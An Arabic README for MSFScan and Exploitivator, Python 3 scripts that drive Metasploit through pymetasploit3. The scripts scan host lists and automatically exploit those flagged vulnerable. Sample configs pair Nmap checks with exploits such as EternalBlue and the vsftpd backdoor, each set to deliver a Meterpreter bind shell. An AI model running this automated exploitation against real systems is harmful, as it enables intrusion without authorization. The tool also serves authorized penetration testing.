
أتمتة مسح واستغلال Metasploit
الإصدار 2.0 - معدل لاستخدام Python 3
تم اختبار هذا فقط على Kali.
يعتمد على وحدة pymetasploit3 الخاصة بـ Python، والمفصلة هنا: https://coalfire.com/the-coalfire-blog/pymetasploit3-metasploit-automation-library
قم بتثبيت حزم Kali الضرورية وملحق PostgreSQL الخاص بـ Ruby:
apt-get install postgresql libpq-dev git-core
gem install pg
قم بتثبيت الإصدار الحالي من وحدة pymetasploit3 الخاصة بـ Python 3:
pip3 install pymetasploit3
قبل تشغيل أي من السكريبتات، قم بتحميل msfconsole وابدأ خدمة MSGRPC.
يمكن بدء MSGRPC باستخدام msfrpcd في Metasploit على النحو التالي:
load msgrpc Pass=abc123 ServerHost=0.0.0.0 ServerPort=55552
ستظهر نتائج المسح و/أو الاستغلال في وحدة تحكم Metasploit وفي ملفات الإخراج (msf_scan_output.txt و exploitivator_output.txt).
استخدم MSFScan لتشغيل مسح متعدد لـ Metasploit ضد مجموعة من الأهداف المضيفة. استخدم Exploitivator لتشغيل مسح سكريبت Nmap ضد مجموعة من الأهداف المضيفة واستغلال أي منها يُبلغ عنه كضعيف تلقائيًا.
استخدام سطر الأوامر:
أمثلة: يمكن تشغيل التطبيق على النحو التالي، حيث '10.128.108.178' هو عنوان IP لآلة الهجوم، و 'hosts.txt' قائمة بالأهداف المضيفة، و 'msf' هو اسم مستخدم Postgres لـ Metasploit، و 'abc123' هو كلمة مرور Postgres لـ Metasploit:
./exploitivator.py -l 10.128.108.178 -f hosts.txt -u msf -m abc123
استخدام سطر الأوامر:
./msf_scan.py filename
./msf_scan.py filename MSF_DB_Username MSF_DB_Password
أمثلة: يمكن تشغيل التطبيق على النحو التالي، حيث 'hosts.txt' قائمة بالأهداف المضيفة، و 'msf' هو اسم مستخدم Postgres لـ Metasploit، و 'abc123' هو كلمة مرور Postgres لـ Metasploit:
./msf_scan.py hosts.txt msf abc123
للتشغيل باستخدام 'hosts.txt' كقائمة بالأهداف المضيفة، باستخدام اسم مستخدم Postgres الافتراضي لـ Metasploit (msf) وكلمة مرور Postgres الافتراضية لـ Metasploit (abc123):
./msf_scan.py hosts.txt
كلا السكريبتين يعتمدان على ملفات التكوين لتوفير تفاصيل مسح Nmap وهجمات Metasploit المطلوبة.
يستخدم السكريبت ملف تكوين باسم 'scan_types.cfg'. يحتوي هذا على قائمة بمسارات أي مسح Metasploit سيتم تشغيله ضد الأهداف. مثال:
auxiliary/scanner/dcerpc/endpoint_mapper
auxiliary/scanner/smb/smb_version
auxiliary/scanner/x11/open_x11
auxiliary/scanner/discovery/ipv6_multicast_ping
auxiliary/scanner/discovery/ipv6_neighbor
auxiliary/scanner/smb/smb_login
يستخدم هذا السكريبت ملفي تكوين (exploitivator_scan.cfg و exploitivator.cfg). أحدهما لتحديد مسح Nmap ومعلماته (exploitivator_scan.cfg)، والآخر لتحديد حمولات Metasploit ومعاملاتها (exploitivator.cfg). يستخدم هذان الملفان '##' كفاصل ولهما التنسيقات التالية.
exploitivator_scan.cfg:
[تسمية]##[معلمات سطر أوامر Nmap]##[معلمات سطر أوامر Nmap لإخراج الملف]##[اختياري - أمر grep لاستخدامه إذا تم استخدام إخراج Nmap القابل للبحث]
في التنسيق أعلاه:
1) القسم الأول هو تسمية تربط المسح بالاستغلال
2) القسم الثاني هو جزء من سطر أوامر Nmap الذي يحدد تفاصيل نوع المسح المطلوب تشغيله، مثل المنفذ والسكريبت
3) القسم الثالث هو جزء من سطر أوامر Nmap الذي يحدد ملف إخراج Nmap (يتعامل Exploitivator مع إخراج XML أو القابل للبحث)
4) القسم الرابع الاختياري هو أمر grep الذي ترغب في استخدامه لتحديد هدف ضعيف داخل ملف '.gnmap'
مثال على محتوى الملف موضح أدناه:
SMB_08-067##-p U:137,U:139,T:139,T:445 --script smb-vuln-ms08-067.nse##-oX ms_08_067.xml
SMB_09-050##-p U:137,U:139,T:139,T:445 --script smb-vuln-cve2009-3103.nse##-oX ms_09_050.xml
SMB_10-054##-p U:137,U:139,T:139,T:445 --script smb-vuln-ms10-054.nse##-oX ms_10_054.xml
SMB_10-061##-p U:137,U:139,T:139,T:445 --script smb-vuln-ms10-061.nse##-oX ms_10_061.xml
SMB_17-010##-p U:137,U:139,T:139,T:445 --script smb-vuln-ms17-010##-oX ms_17_010.xml
DistCC##-p 3632 -sSV##-oG distcc.gnmap##grep "3632\/open\/tcp\/\/distccd"
JavaRMI##-p 1099 -sSV##-oG javarmi.gnmap##grep "1099\/open\/tcp\/\/rmi
VSFTPBackDoor##-p 21 -sSV##-oG vsftp_backdoor.gnmap##grep "vsftpd 2.3.4"
exploitivator.cfg:
[تسمية]##[مسار استغلال Metasploit]##[اختياري - تفاصيل حمولة Metasploit]
مثال على محتوى الملف موضح أدناه:
SMB_08-067##exploit/windows/smb/ms08_067_netapi##windows/meterpreter/bind_tcp
SMB_09-050##exploit/windows/smb/ms09_050_smb2_negotiate_func_index##windows/meterpreter/bind_tcp
SMB_10-061##exploit/windows/smb/ms10_061_spoolss##windows/meterpreter/bind_tcp
SMB_17-010##exploit/windows/smb/ms17_010_eternalblue##windows/meterpreter/bind_tcp
DistCC##exploit/unix/misc/distcc_exec##cmd/unix/bind_ruby
JavaRMI##exploit/multi/misc/java_rmi_server##php/meterpreter/bind_tcp
VSFTPBackDoor##exploit/unix/ftp/vsftpd_234_backdoor##none
بدء الاتصال بـ MSGRPC: https://coalfire.com/the-coalfire-blog/pymetasploit3-metasploit-automation-library
إعداد RHOSTS لاستخدام ملف بدلاً من نطاق: http://travisaltman.com/metasploit-set-rhosts-file/